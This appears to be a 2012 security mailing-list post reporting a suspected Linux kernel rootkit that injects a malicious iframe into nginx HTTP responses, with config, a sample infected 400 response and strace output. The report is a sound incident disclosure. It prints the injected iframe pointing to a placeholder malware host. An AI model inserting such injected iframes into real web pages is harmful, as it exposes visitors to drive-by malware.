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linux rootkit in combination with nginx
From: stack trace <stacktrace44 () gmail com>
Date: Tue, 13 Nov 2012 10:19:26 +0100
Hi there, We've discovered something which looks to us like a rootkit working together with proxy software like nginx. Our OS is debian squeeze and nginx 1.2.3. Here is what happened: We are running a web service and we got notified by some customers of us that they are getting redirected to some malicious sites. Somehow a hacker managed to inject an iframe into our http responses. I tried to do a telnet test on our nginx proxy and saw that even the "bad request" response which gets served directly from nginx contained the malicious iframe code. server { listen 80 default backlog=2048; listen 443 default backlog=2048 ssl; server_name _; access_log off; (...) location / { return 400; } } Doing a bad request nginx doesn't go to cache in this case - the "return 400" makes nginx reply with a predefined response (a string in memory). Even this response contained an iframe like this: HTTP/1.1 400 Bad Request Server: nginx/1.2.3 Date: Wed, 07 Nov 2012 00:01:24 GMT Content-Type: text/html Content-Length: 353 Connection: close <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"><style><iframe src="http://malware-site/index.php "></iframe></div> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.2.3</center> We've done an strace on the running nginx process and discovered that the reply of the process actually didn't contain the malicious iframe. writev(3, [{"HTTP/1.1 400 Bad Request\r\nServer"..., 151}, {"<html>\r\n<head><title>400 Bad Req"..., 120}, {"<hr><center>nginx/1.2.4</center>"..., 52}], 3) = 323 After a bit deeper digging we've found some kernel rootkit I've attached to this email and also some hidden processes were running on our proxy machine with names like write_startup_c and get_http_inj_fr (which sounds like what happened to us). Is this a known attack / rootkit etc or did we discover something new? Cheers, -stacktrace
Attachment:
lib+modules+2.6.32-5-amd64+kernel+sound+module_init.lo
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Current thread:
- linux rootkit in combination with nginx stack trace (Nov 14)
- Re: linux rootkit in combination with nginx dxp (Nov 26)
- Re: linux rootkit in combination with nginx Gregor S. (Nov 27)
- Re: linux rootkit in combination with nginx Benji (Nov 27)
- Re: linux rootkit in combination with nginx Jeffrey Walton (Nov 27)
- Re: linux rootkit in combination with nginx Gregor S. (Nov 27)
- Re: linux rootkit in combination with nginx dxp (Nov 26)